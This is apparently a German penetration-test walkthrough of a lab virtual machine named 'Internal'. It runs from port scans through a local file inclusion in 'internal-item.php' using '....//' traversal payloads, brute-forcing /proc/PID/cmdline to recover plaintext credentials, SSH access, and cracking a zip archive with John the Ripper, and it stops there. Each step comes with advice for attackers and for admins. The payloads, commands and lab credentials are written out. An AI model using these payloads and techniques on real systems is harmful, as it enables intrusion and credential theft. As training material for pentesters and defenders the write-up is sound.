Beginn der Aufklärungsphase zur Identifizierung des Ziels "Internal" und der offenen Dienste.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.110
**Analyse:** Die Ziel-IP für diesen Test wird als `192.168.2.110` festgelegt.
**Bewertung:** Essentieller Startpunkt für alle weiteren Aktionen.
**Empfehlung (Pentester):** IP in Variable speichern (`export IP=192.168.2.110`).
**Empfehlung (Admin):** Keine Aktion.
ARP-Scan 192.168.2.110 08:00:27:64:2c:9f PCS Systemtechnik GmbH
**Analyse:** Ein ARP-Scan identifiziert die MAC-Adresse (`08:00:27:64:2c:9f`) des Ziels. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.
**Bewertung:** Bestätigt Erreichbarkeit und Virtualisierungsumgebung.
**Empfehlung (Pentester):** Notieren der Informationen.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte im Netzwerk sind.
/etc/hosts
127.0.0.1 localhost
192.168.2.110 Internal.nyx
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wurde angepasst, um der IP `192.168.2.110` den Hostnamen `Internal.nyx` zuzuordnen.
**Bewertung:** Erleichtert die Ansprache des Ziels.
**Empfehlung (Pentester):** Standardvorgehen.
**Empfehlung (Admin):** Korrekte DNS-Konfiguration ist zu bevorzugen.
- IPv6 Adresse: fe80::a00:27ff:fe64:2c9f
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 21:57 CEST Nmap scan report for internal (fe80a00:27ff:fe64:2c9f) Host is up (0.00010s latency). Not shown: 998 closed tcp ports (reset) PRT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:64:2C:9F (racle VirtualBox virtual NIC)
**Analyse:** Die IPv6 Link-Local-Adresse wird ermittelt (vermutlich aus der Ausgabe von `ip neigh`, obwohl der Befehl hier unvollständig ist) und ein Nmap-Scan (`nmap -6 ...`) dagegen ausgeführt.
**Bewertung:** Findet Port 22 (SSH) und 80 (HTTP) über IPv6 offen.
**Empfehlung (Pentester):** Bestätigt offene Ports über IPv6. Scans gegen IPv4 sind für ein vollständiges Bild notwendig.
**Empfehlung (Admin):** Sicherheit von IPv6-Diensten gewährleisten.
22/tcp open ssh penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.56 ((Debian)) 9999/tcp open abyss?
**Analyse:** Umfassender Nmap TCP-Scan gegen die IPv4-Adresse (`$IP`), gefiltert nach offenen Ports.
**Bewertung:** Findet drei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian 11) - Relativ aktuell. * **Port 80 (HTTP):** Apache httpd 2.4.56 (Debian) - Relativ aktuell. * **Port 9999:** Unbekannter Dienst (`abyss?`) - Muss genauer untersucht werden.
**Empfehlung (Pentester):** SSH (Brute-Force/Keys), HTTP auf Port 80 (Web-Exploits/VHosts) und der unbekannte Dienst auf Port 9999 sind die Hauptziele.
**Empfehlung (Admin):** Sicherstellen, dass alle Dienste notwendig und sicher konfiguriert sind. Port 9999 identifizieren und absichern.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 21:59 CEST Nmap scan report for Internal.nyx (192.168.2.110) Host is up (0.00025s latency). Not shown: 65532 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: Day Bootstrap Template - Index |_http-server-header: Apache/2.4.56 (Debian) 9999/tcp open abyss? | fingerprint-strings: | FourhFourRequest, GetRequest: | HTTP/1.0 401 Unauthorized | Server: SimpleHTTP/0.6 Python/3.9.2 | Date: Sun, 15 Sep 2024 19:59:12 GMT | WWW-Authenticate: Basic realm="PRD" | Content-type: text/html | auth header received | HTTPptions: | HTTP/1.0 501 Unsupported method ('PTINS') | Server: SimpleHTTP/0.6 Python/3.9.2 | Date: Sun, 15 Sep 2024 19:59:12 GMT | Connection: close | Content-Type: text/html;charset=utf-8 | Content-Length: 500 MAC Address: 08:00:27:64:2C:9F (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel
**Analyse:** Vollständige Ausgabe des Nmap TCP-Scans.
**Bewertung:** * Bestätigt SSH und Apache Versionen. * Port 80 hat einen Titel: "Day Bootstrap Template - Index". * **Port 9999:** Wird jetzt als **Python SimpleHTTPServer** (Version 0.6, Python 3.9.2) identifiziert. Der Dienst erfordert **HTTP Basic Authentication** (`WWW-Authenticate: Basic realm="PRD"`) und gibt bei Anfragen ohne Authentifizierung einen `401 Unauthorized` Fehler zurück. Ungewöhnliche Methoden wie `OPTIONS` werden nicht unterstützt (`501 Unsupported method`).
**Empfehlung (Pentester):** Untersuchen Sie die Webseite auf Port 80. Versuchen Sie, die Basic Auth Credentials für Port 9999 durch Brute-Force oder Default-Credentials zu erraten.
**Empfehlung (Admin):** Aktualisieren Sie Apache und OpenSSH. Stellen Sie sicher, dass der Python-Server auf Port 9999 notwendig ist und verwenden Sie starke Authentifizierung. SimpleHTTPServer ist nicht für Produktionsumgebungen gedacht.
Untersuchung der Webdienste auf Port 80 (Apache) und Port 9999 (Python).
Allow: OPTIONS,HEAD,GET,POST
**Analyse:** Test der erlaubten HTTP-Methoden auf Port 80 (Apache) mit `OPTIONS`.
**Bewertung:** Nur Standardmethoden (`OPTIONS`, `HEAD`, `GET`, `POST`) sind erlaubt. `PTINS` (wie von Nikto fälschlich gemeldet) ist nicht dabei.
**Empfehlung (Pentester):** Kein direkter Angriffsvektor über ungewöhnliche Methoden auf Port 80.
**Empfehlung (Admin):** Deaktivieren Sie `OPTIONS`, wenn nicht benötigt.
WEB-Server Scan : * Trying 192.168.2.110:80... * Connected to 192.168.2.110 (192.168.2.110) port 80 > HEAD / HTTP/1.1 > Host: 192.168.2.110 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 K < Date: Sun, 15 Sep 2024 20:01:01 GMT Date: Sun, 15 Sep 2024 20:01:01 GMT < Server: Apache/2.4.56 (Debian) Server: Apache/2.4.56 (Debian) < Last-Modified: Mon, 08 May 2023 13:54:19 GMT Last-Modified: Mon, 08 May 2023 13:54:19 GMT < ETag: "787d-5fb2ef9af9f56" ETag: "787d-5fb2ef9af9f56" < Accept-Ranges: bytes Accept-Ranges: bytes < Content-Length: 30845 Content-Length: 30845 < Vary: Accept-Encoding Vary: Accept-Encoding < Content-Type: text/html Content-Type: text/html < * Connection #0 to host 192.168.2.110 left intact
**Analyse:** Abruf der HTTP-Header von Port 80.
**Bewertung:** Bestätigt die Server-Version und den ETag. Die `Content-Length` (30845 Bytes) ist recht groß für eine einfache Seite.
**Empfehlung (Pentester):** Untersuchen Sie die Webseite und ihren Quellcode genauer.
**Empfehlung (Admin):** Keine neuen Erkenntnisse.
Web Enum: http://internal.nyx/forms/contact.php Unable to load the "PHP Email Form" Library! GET http://internal.nyx/forms/contact.php Status 200 K VersionHTTP/1.1 Content-Type text/html; charset=UTF-8 Server Apache/2.4.56 (Debian) Host internal.nyx User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
**Analyse:** Untersuchung der Datei `/forms/contact.php`, die über Gobuster gefunden wurde. Die Seite gibt einen Fehler aus: "Unable to load the "PHP Email Form" Library!".
**Bewertung:** Die Fehlermeldung deutet darauf hin, dass eine externe PHP-Bibliothek für E-Mail-Formulare fehlt oder falsch konfiguriert ist. Solche Fehlermeldungen können manchmal Pfade oder Konfigurationsdetails preisgeben, hier jedoch nicht direkt.
**Empfehlung (Pentester):** Suchen Sie nach bekannten Schwachstellen in gängigen PHP-E-Mail-Formular-Bibliotheken. Versuchen Sie, Parameter an `contact.php` zu senden.
**Empfehlung (Admin):** Beheben Sie den Konfigurationsfehler oder entfernen Sie das Skript, wenn es nicht funktioniert. Unterdrücken Sie detaillierte Fehlermeldungen.
Nikto Scan - Nikto v2.5.0 + Target IP: 192.168.2.110 + Target Hostname: 192.168.2.110 + Target Port: 80 + Start Time: 2024-09-15 22:01:02 (GMT2) + Server: Apache/2.4.56 (Debian) + /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 787d, size: 5fb2ef9af9f56, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + PTINS: Allowed HTTP Methods: PTINS, HEAD, GET, PST . + 8102 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2024-09-15 22:01:32 (GMT2) (30 seconds) + 1 host(s) tested
**Analyse:** Nikto-Scan gegen Port 80 (Apache).
**Bewertung:** Bestätigt die relativ aktuelle Apache-Version (2.4.56). Findet wieder fehlende Security-Header, das ETag-Inode-Leak und die erlaubten Methoden (inkl. `PTINS`, `PST`). Findet keine offensichtlichen kritischen Schwachstellen.
**Empfehlung (Pentester):** Konfiguration härten (Header, ETags, Methoden).
**Empfehlung (Admin):** Siehe vorherige Nikto-Empfehlungen.
http://192.168.2.110/index.html (Status: 200) [Size: 30845] http://192.168.2.110/assets (Status: 301) [Size: 315] [--> http://192.168.2.110/assets/] http://192.168.2.110/forms (Status: 301) [Size: 314] [--> http://192.168.2.110/forms/]
**Analyse:** Gobuster-Scan auf Port 80 (Apache).
**Bewertung:** Findet die Verzeichnisse `/assets` und `/forms` (beide mit Redirects). `/forms` enthält die zuvor gefundene `contact.php`.
**Empfehlung (Pentester):** Untersuchen Sie die Inhalte von `/assets` und `/forms` weiter.
**Empfehlung (Admin):** Stellen Sie sicher, dass keine sensiblen Informationen in diesen Verzeichnissen liegen.
http://internal.nyx/forms/contact.php (Status: 200) [Size: 44] php-email-form="forms/contact.php
**Analyse:** Zusätzliche Informationen (wahrscheinlich aus dem Quellcode der Hauptseite oder Burp): Bestätigt `contact.php` und zeigt einen Verweis auf eine "php-email-form", die `forms/contact.php` verwendet.
**Bewertung:** Bestärkt die Vermutung, dass `contact.php` Teil einer E-Mail-Formularbibliothek ist.
**Empfehlung (Pentester):** Suchen nach Schwachstellen in dieser spezifischen Bibliothek, falls identifizierbar.
**Empfehlung (Admin):** Bibliothek aktualisieren/sichern.
Burpsuite
Request:
GET /cgi-bin/%2e%2e/abyss.conf HTTP/1.1
Host: 192.168.2.110:9999
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Response:
HTTP/1.0 401 Unauthorized
Server: SimpleHTTP/0.6 Python/3.9.2
Date: Sun, 15 Sep 2024 20:24:08 GMT
WWW-Authenticate: Basic realm="PRD"
Content-type: text/html
no auth header received
**Analyse:** Versuch, über einen Directory Traversal Payload (`/cgi-bin/%2e%2e/`) auf eine Datei namens `abyss.conf` auf dem Python-Server (Port 9999) zuzugreifen.
**Bewertung:** Die Anfrage schlägt fehl, da keine Authentifizierung mitgesendet wurde (`401 Unauthorized`). Ob der Traversal funktioniert hätte, ist unklar.
**Empfehlung (Pentester):** Authentifizieren Sie sich zuerst (z.B. mit den später gefundenen Credentials `admin:4dM1Nt3rN4LP4zZ`) und versuchen Sie dann bekannte Exploits oder weitere Enumeration auf Port 9999.
**Empfehlung (Admin):** SimpleHTTPServer ist unsicher und sollte nicht verwendet werden, insbesondere nicht für sensible Daten.
view-source:http://internal.nyx/# internal-item.php?item=index.html#hero internal-item.php?item=index.html
**Analyse:** Untersuchung des Quellcodes der Hauptseite auf Port 80. Es werden Links zu `internal-item.php` mit einem `item`-Parameter gefunden.
**Bewertung:** Dies deutet auf eine dynamische Seite hin, die Inhalte basierend auf dem `item`-Parameter lädt. Solche Parameter sind oft anfällig für Local File Inclusion (LFI) oder Directory Traversal.
**Empfehlung (Pentester):** Untersuchen Sie den `item`-Parameter in `internal-item.php` auf LFI.
**Empfehlung (Admin):** Validieren und bereinigen Sie alle Benutzereingaben, die zur Konstruktion von Dateipfaden verwendet werden.
http://192.168.2.110:9999/ Basic c3Nzczpzc3Nznot authenticated [Link: https://www.base64decode.org/ | Ziel: https://www.base64decode.org/] c3Nzczpzc3Nz ssss:ssss
**Analyse:** Bei einem fehlgeschlagenen Authentifizierungsversuch gegen Port 9999 (wahrscheinlich durch Eingabe falscher Daten im Browser-Popup) wird der Base64-kodierte Wert `c3Nzczpzc3Nz` im Response oder Log gefunden. Dieser wird dekodiert zu `ssss:ssss`.
**Bewertung:** Dies sind wahrscheinlich die *eingegebenen*, aber falschen Credentials. Nicht die korrekten Zugangsdaten.
**Empfehlung (Pentester):** Ignorieren Sie diese Credentials. Suchen Sie weiter nach den richtigen Zugangsdaten.
**Empfehlung (Admin):** Keine Aktion.
Der Fokus liegt nun auf der LFI-Schwachstelle in `internal-item.php` auf Port 80, um Informationen zu sammeln, die zum Zugriff auf andere Dienste führen könnten.
Target: http://internal.nyx/internal-item.php?item=FUZZ = ID Response Lines Word Chars Payload = 000000334: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd" 000000330: 200 28 L 40 W 1404 Ch "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd" ... (viele ähnliche Payloads für /etc/passwd) ... Total time: 0 Processed Requests: 922 Filtered Requests: 902 Requests/sec.: 0
**Analyse:** Wfuzz wird verwendet, um den `item`-Parameter in `internal-item.php` mit einer Liste von LFI-Payloads (`LFI-Jhaddix.txt`) zu fuzzen. Das Ziel ist es, herauszufinden, ob und wie eine LFI möglich ist. `--hc 404` und `--hh 13` filtern Standardfehler und sehr kleine Antworten heraus.
**Bewertung:** **LFI bestätigt!** Viele Payloads, die auf `/etc/passwd` abzielen (mit unterschiedlicher Anzahl von `....//`), sind erfolgreich (Status 200) und liefern eine Antwort mit 28 Zeilen und 1404 Zeichen, was der erwarteten Größe von `/etc/passwd` entspricht.
**Empfehlung (Pentester):** Nutzen Sie die LFI, um sensible Dateien zu lesen. Beginnen Sie mit `/etc/passwd`, `/etc/shadow` (falls lesbar), Webserver-Konfigurationen, Anwendungsquellcode und Prozessinformationen unter `/proc`.
**Empfehlung (Admin):** Beheben Sie die LFI in `internal-item.php` dringend durch Input-Validierung und sichere Dateizugriffsfunktionen.
root:x:0:0:root:/root:/bin/bash admin:x:1000:1000:admin,,,:/home/admin:/bin/bash
**Analyse:** Die bestätigte LFI wird genutzt, um `/etc/passwd` zu lesen und nach Benutzern mit Bash-Shell zu filtern.
**Bewertung:** Identifiziert die Benutzer `root` und `admin` als potenzielle Ziele mit interaktiven Shells.
**Empfehlung (Pentester):** Versuchen Sie, SSH-Schlüssel für `admin` zu finden (`/home/admin/.ssh/id_rsa`) oder andere sensible Informationen über die LFI zu extrahieren.
**Empfehlung (Admin):** LFI beheben.
(Keine Ausgabe - Datei nicht gefunden oder nicht lesbar)
**Analyse:** Versuch, den privaten SSH-Schlüssel des `admin`-Benutzers über die LFI zu lesen.
**Bewertung:** Scheitert. Entweder existiert die Datei nicht, oder der Webserver-Benutzer (wahrscheinlich `www-data`) hat keine Leseberechtigung.
**Empfehlung (Pentester):** Suchen Sie nach anderen interessanten Dateien. Das `/proc`-Dateisystem ist oft eine Goldgrube.
**Empfehlung (Admin):** Sicherstellen, dass SSH-Schlüssel korrekte Berechtigungen haben (600).
Burpsuite Request: GET //internal-item.php?item=....//....//....//....//proc/self/cmdline HTTP/1.1 Host: internal.nyx ... Response: HTTP/1.1 200 K ... Content-Length: 40 ... /usr/sbin/apache2
**Analyse:** Versuch, über die LFI die Kommandozeile des aktuellen Prozesses (`/proc/self/cmdline`) zu lesen.
**Bewertung:** Erfolgreich. Bestätigt, dass der Webserver-Prozess `/usr/sbin/apache2` ist.
**Empfehlung (Pentester):** Lesen Sie die Kommandozeilen anderer Prozesse (`/proc/PID/cmdline`), um laufende Dienste und potenziell übergebene Argumente (wie Passwörter) zu finden.
**Empfehlung (Admin):** LFI beheben.
Request: GET //internal-item.php?item=....//....//....//....//proc/1/cmdline HTTP/1.1 Host: internal.nyx Intruder: Request: GET //internal-item.php?item=....//....//....//....//proc/§1§/cmdline HTTP/1.1 Host: internal.nyx Response: /internal-item.php?item=....//....//....//....//proc/2/cmdline /sbin/init 30 Minuten Brute Forcing /internal-item.php?item=....//....//....//....//proc/403/cmdline python3/home/admin/python3HTTPSAuthServer.py --port9999--authadmin:4dM1Nt3rN4LP4zZ
**Analyse:** Burp Suite Intruder wird verwendet, um die Prozess-IDs (PIDs) im Pfad `/proc/PID/cmdline` durchzuprobieren und die Kommandozeilen laufender Prozesse über die LFI zu extrahieren.
**Bewertung:** **Kritischer Fund!** Nach 30 Minuten findet Intruder den Prozess mit PID 403. Dessen Kommandozeile lautet: `python3 /home/admin/python3HTTPSAuthServer.py --port 9999 --auth admin:4dM1Nt3rN4LP4zZ`. Dies enthüllt: * Der Dienst auf Port 9999 ist tatsächlich ein Python-Skript (`python3HTTPSAuthServer.py`), das im Home-Verzeichnis von `admin` liegt. * Die Basic Authentication Credentials für diesen Dienst werden direkt auf der Kommandozeile übergeben: Benutzer `admin`, Passwort `4dM1Nt3rN4LP4zZ`.
**Empfehlung (Pentester):** Verwenden Sie die gefundenen Credentials `admin:4dM1Nt3rN4LP4zZ`, um sich per SSH als Benutzer `admin` anzumelden. Der Zugriff auf den Python-Server auf Port 9999 ist wahrscheinlich nicht mehr notwendig.
**Empfehlung (Admin):** Übergeben Sie niemals Passwörter oder sensible Daten als Kommandozeilenargumente! Diese sind für andere Benutzer auf dem System (und hier sogar über LFI) lesbar. Verwenden Sie Konfigurationsdateien mit restriktiven Berechtigungen oder Umgebungsvariablen.
Die durch die LFI-Schwachstelle und das Auslesen von `/proc/PID/cmdline` gefundenen Anmeldedaten werden nun verwendet, um sich per SSH anzumelden.
The authenticity of host 'internal.nyx (192.168.2.110)' can't be established. ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns. ... Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'internal.nyx' (ED25519) to the list of known hosts. admin@internal.nyx's password: 4dM1Nt3rN4LP4zZ Linux internal 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64 Last login: Mon May 8 17:18:54 2023 from 192.168.1.10 admin@internal$
**Analyse:** Versuch, sich per SSH als Benutzer `admin` mit dem extrahierten Passwort `4dM1Nt3rN4LP4zZ` anzumelden.
**Bewertung:** **Initial Access erfolgreich!** Der Login gelingt, und wir erhalten eine Shell als Benutzer `admin`.
**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration für die Privilegienerweiterung als `admin`.
**Empfehlung (Admin):** Ändern Sie das kompromittierte Passwort. Beheben Sie die LFI-Schwachstelle und die unsichere Übergabe von Credentials auf der Kommandozeile.
**Kurzbeschreibung:** Eine Local File Inclusion (LFI)-Schwachstelle in `http://internal.nyx/internal-item.php` (Parameter `item`) ermöglicht das Lesen beliebiger Dateien auf dem Server mit den Rechten des Webserver-Prozesses. Durch systematisches Auslesen von Prozessinformationen über das `/proc`-Dateisystem (speziell `/proc/PID/cmdline`) konnte die Kommandozeile eines Python-Servers (PID 403) extrahiert werden. Diese Kommandozeile enthielt im Klartext die Anmeldedaten (`admin:4dM1Nt3rN4LP4zZ`) für den SSH-Zugang des Benutzers `admin`.
**Voraussetzungen:**
**Schritte (Zusammenfassung):**
**Risikobewertung:** Hoch. Die LFI ermöglichte das Auslesen sensibler Prozessinformationen, was direkt zur Kompromittierung eines Benutzerkontos führte. Die unsichere Speicherung von Credentials in Kommandozeilenargumenten verschärfte das Problem erheblich.
**Empfehlungen:**
Wir haben eine Shell als `admin`. Nun suchen wir nach Wegen, um Root-Rechte zu erlangen.
-bash: sudo: orden no encontrada
**Analyse:** Versuch, `sudo -l` auszuführen.
**Bewertung:** Der Befehl `sudo` wird nicht gefunden ("orden no encontrada" - spanisch für "Befehl nicht gefunden"). Das bedeutet, entweder ist `sudo` nicht installiert, nicht im PATH des Benutzers `admin`, oder der Benutzer hat keinerlei `sudo`-Rechte.
**Empfehlung (Pentester):** Suchen Sie nach SUID-Binaries, Capabilities, Cronjobs, unsicheren Dateiberechtigungen oder Kernel-Exploits.
**Empfehlung (Admin):** Wenn `sudo` verwendet werden soll, sicherstellen, dass es installiert und im PATH ist. Ansonsten ist dies kein Problem.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 5 127.0.0.1:5901 0.0.0.0:* LISTEN 0 5 0.0.0.0:9999 0.0.0.0:* users:(("python3",pid=403,fd=3)) LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 5 [::1]:5901 [::]:* LISTEN 0 511 *:80 *:* LISTEN 0 128 [::]:22 [::]:*
**Analyse:** Überprüfung der lauschenden Netzwerk-Sockets.
**Bewertung:** Bestätigt die bekannten Ports 22, 80, 9999. Findet zusätzlich einen Dienst auf Port 5901, der nur an localhost (`127.0.0.1` und `::1`) gebunden ist. Port 5901 wird typischerweise für VNC (Display :1) verwendet.
**Empfehlung (Pentester):** Untersuchen Sie den VNC-Dienst auf Port 5901. Da er nur lokal lauscht, benötigen Sie Port Forwarding (z.B. Chisel, SSH) oder einen lokalen Exploit, um darauf zuzugreifen.
**Empfehlung (Admin):** Stellen Sie sicher, dass der VNC-Dienst beabsichtigt ist und sicher konfiguriert wurde (Authentifizierung!).
263828 56 -rwsr-xr-x 1 root root 55528 ene 20 2022 /usr/bin/mount 263458 72 -rwsr-xr-x 1 root root 71912 ene 20 2022 /usr/bin/su 259697 60 -rwsr-xr-x 1 root root 58416 feb 7 2020 /usr/bin/chfn 259700 88 -rwsr-xr-x 1 root root 88304 feb 7 2020 /usr/bin/gpasswd 259698 52 -rwsr-xr-x 1 root root 52880 feb 7 2020 /usr/bin/chsh 263830 36 -rwsr-xr-x 1 root root 35040 ene 20 2022 /usr/bin/umount 259701 64 -rwsr-xr-x 1 root root 63960 feb 7 2020 /usr/bin/passwd 263292 44 -rwsr-xr-x 1 root root 44632 feb 7 2020 /usr/bin/newgrp 273849 472 -rwsr-xr-x 1 root root 481608 jul 2 2022 /usr/lib/openssh/ssh-keysign 264755 52 -rwsr-xr-- 1 root messagebus 51336 oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
**Analyse:** Suche nach SUID-Dateien als `admin`.
**Bewertung:** Findet nur Standard-SUID-Binaries. Kein offensichtlicher Exploit-Pfad hier.
**Empfehlung (Pentester):** Fokus auf VNC.
**Empfehlung (Admin):** Keine Aktion.
**Analyse:** Suche nach Dateien mit Capabilities.
**Bewertung:** Keine Capabilities gefunden.
**Empfehlung (Pentester):** Fokus auf VNC.
**Empfehlung (Admin):** Keine Aktion.
python3HTTPSAuthServer.py user.txt
22c15f8a6b80b178f36f3fcf5053bd82
**Analyse:** Auflisten des Home-Verzeichnisses von `admin` und Auslesen der `user.txt`.
**Bewertung:** User-Flag gefunden. Bestätigt die Existenz des Python-Server-Skripts.
**Empfehlung (Pentester):** Flag notieren.
**Empfehlung (Admin):** Keine Aktion.
total 44
drwx------ 4 admin admin 4096 may 8 2023 .
drwxr-xr-x 3 root root 4096 may 8 2023 ..
drwx------ 2 admin admin 4096 may 8 2023 ...
lrwxrwxrwx 1 root root 9 abr 23 2023 .bash_history -> /dev/null
-rw------- 1 admin admin 220 ene 15 2023 .bash_logout
-rw------- 1 admin admin 3526 ene 15 2023 .bashrc
drwxr-xr-x 3 admin admin 4096 may 8 2023 .local
-rw------- 1 admin admin 807 ene 15 2023 .profile
-rwxr-xr-x 1 admin admin 5504 may 8 2023 python3HTTPSAuthServer.py
-rw-r--r-- 1 admin admin 66 may 8 2023 .selected_editor
-r-------- 1 admin admin 33 may 8 2023 user.txt
**Analyse:** Detailliertes Listing des Home-Verzeichnisses von `admin`.
**Bewertung:** Findet ein ungewöhnliches Verzeichnis namens `...` (drei Punkte). Die Bash-History wird nach `/dev/null` gelinkt (verhindert History-Logging).
**Empfehlung (Pentester):** Untersuchen Sie das Verzeichnis `...`.
**Empfehlung (Admin):** Ungewöhnliche Verzeichnisnamen können Verschleierungsversuche sein.
total 12
drwx------ 2 admin admin 4096 may 8 2023 .
drwx------ 4 admin admin 4096 may 8 2023 ..
-rw-r--r-- 1 admin admin 198 may 8 2023 internalkey.zip
**Analyse:** Wechsel in das Verzeichnis `...` und Auflisten des Inhalts.
**Bewertung:** Findet eine ZIP-Datei namens `internalkey.zip`. Dies könnte das Passwort für den VNC-Server oder andere sensible Informationen enthalten.
**Empfehlung (Pentester):** Laden Sie die Datei `internalkey.zip` auf Ihr Angreifersystem herunter und versuchen Sie, sie zu entpacken und ggf. das Passwort zu knacken.
**Empfehlung (Admin):** Speichern Sie sensible Daten nicht in unsicheren Formaten oder an leicht zugänglichen Orten.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
--2024-09-16 00:01:56-- http://192.168.2.110:8000/internalkey.zip Verbindungsaufbau zu 192.168.2.110:8000 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K Länge: 198 [application/zip] Wird in internalkey.zip gespeichert. internalkey.zip 100%[===================>] 198 --.-KB/s in 0s 2024-09-16 00:01:56 (27,9 MB/s) - ‘internalkey.zip’ gespeichert [198/198]
-rw-r--r-- 1 root root 198 8. Mai 2023 internalkey.zip
**Analyse:** Auf dem Zielsystem wird ein Python-HTTP-Server gestartet. Vom Angreifersystem wird die `internalkey.zip`-Datei heruntergeladen.
**Bewertung:** Erfolgreicher Transfer der Zieldatei.
**Empfehlung (Pentester):** Fahren Sie mit der Analyse der ZIP-Datei fort.
**Empfehlung (Admin):** Überwachen Sie verdächtige ausgehende Verbindungen.
Archive: internalkey.zip
[internalkey.zip] passwd password:
ver 1.0 efh 5455 efh 7875 internalkey.zip/passwd PKZIP Encr: 2b chk, TS_chk, cmplen=20, decmplen=8, crc=16FA5922 ts=8B17 cs=8b17 type=0
**Analyse:** Der `unzip`-Befehl zeigt, dass die ZIP-Datei passwortgeschützt ist. `zip2john` wird verwendet, um den Passwort-Hash zu extrahieren und in die Datei `hash` zu speichern.
**Bewertung:** Vorbereitung für das Passwort-Cracking.
**Empfehlung (Pentester):** Verwenden Sie John the Ripper oder Hashcat, um den Hash zu knacken.
**Empfehlung (Admin):** Verwenden Sie starke Passwörter für verschlüsselte Archive.
Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 16 penMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:01 DNE (2024-09-16 00:02) 0g/s 8437Kp/s 8437Kc/s 8437KC/s (94)JJC..*7¡Vamos! Session completed.
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
~
4dM1Nt3rN4LP4zZ (internalkey.zip/passwd)
~
1g 0:00:00:00 DNE (2024-09-16 00:06) 50.00g/s 1638Kp/s 1638Kc/s 1638KC/s R3v_m4lwh3r3_k1nG!!..jelly123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
**Analyse:** John the Ripper wird mit `rockyou.txt` auf den ZIP-Hash angesetzt. Nach einem ersten fehlgeschlagenen oder abgebrochenen Lauf wird John erneut gestartet.
**Bewertung:** **Erfolg!** John findet das Passwort für die ZIP-Datei: `4dM1Nt3rN4LP4zZ`. **Interessanterweise ist dies dasselbe Passwort wie für den SSH-Login des Benutzers `admin`!** Dies deutet auf eine Passwort-Wiederverwendung hin.
**Empfehlung (Pentester):** Entpacken Sie die ZIP-Datei mit dem gefundenen Passwort.
**Empfehlung (Admin):** Verwenden Sie niemals dasselbe Passwort für verschiedene Dienste oder Dateien! Erzwingen Sie Passwortkomplexität und -änderungen.
Archive: internalkey.zip [internalkey.zip] passwd password: 4dM1Nt3rN4LP4zZ extracting: passwd -rw------- 1 root root 8 8. Mai 2023 passwd
**Analyse:** Die ZIP-Datei wird mit dem geknackten Passwort entpackt.
**Bewertung:** Extrahiert eine Datei namens `passwd`, die nur 8 Bytes groß ist.
**Empfehlung (Pentester):** Zeigen Sie den Inhalt der Datei `passwd` an (`cat passwd`). Es handelt sich wahrscheinlich um das Passwort für den VNC-Server.
**Empfehlung (Admin):** Keine Aktion.
